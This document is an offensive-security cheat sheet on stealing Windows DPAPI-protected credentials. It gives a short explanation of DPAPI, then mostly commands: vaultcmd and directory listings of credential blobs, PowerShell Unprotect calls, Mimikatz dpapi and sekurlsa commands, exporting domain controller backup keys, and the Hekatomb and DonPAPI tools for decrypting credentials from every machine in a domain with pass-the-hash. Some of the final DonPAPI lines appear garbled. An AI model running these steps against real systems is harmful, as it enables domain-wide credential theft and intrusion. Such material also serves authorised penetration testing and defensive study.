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Windows - DPAPI

On Windows, credentials saved in the Windows Credentials Manager are encrypted using Microsoft's Data Protection API and stored as "blob" files in user AppData folder.


Data Protection API

  • Outside of a domain: the user's password hash is used to encrypt these "blobs".
  • Inside a domain: the domain controller's master key is used to encrypt these blobs.

With the extracted private key of the domain controller, it is possible to decrypt all the blobs, and therefore to recover all the secrets recorded in the Windows identification manager of all the work
stations in the domain.

vaultcmd /list

VaultCmd /listcreds:<namevault>|<guidvault> /all
vaultcmd /listcreds:"Windows Credentials" /all

List Credential Files

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

DPAPI LocalMachine Context

The LocalMachine context is used to protect data that is intended to be shared across different users or services on a single machine. This means that any user or service running on the machine can access the protected data with the appropriate credentials.

In contrast, the CurrentUser context is used to protect data that is intended to be accessed only by the user who encrypted it, and cannot be accessed by other users or services on the same machine.

$a = [System.Convert]::FromBase64String("AQAAANCMnd[...]")
$b = [System.Security.Cryptography.ProtectedData]::Unprotect($a, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)

Mimikatz - Credential Manager & DPAPI

# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*

# check the file with mimikatz
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
mimikatz !sekurlsa::dpapi
# use master key
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b

# find and export backup keys
lsadump::backupkeys /system:dc01.lab.local /export
# use backup keys
dpapi::masterkey /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk

Hekatomb - Steal all credentials on domain

Processus-Thief/Hekatomb is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers. Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials.

pip3 install hekatomb
hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@ -debug -dnstcp

Data in memory

DonPAPI - Dumping DPAPI credz remotely domain/user:passw0rd@target --hashes <LM>:<NT> domain/user@target

# using domain backup key backupkeys --export -t domain/user:passw0rd@target_dc_ip
python -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list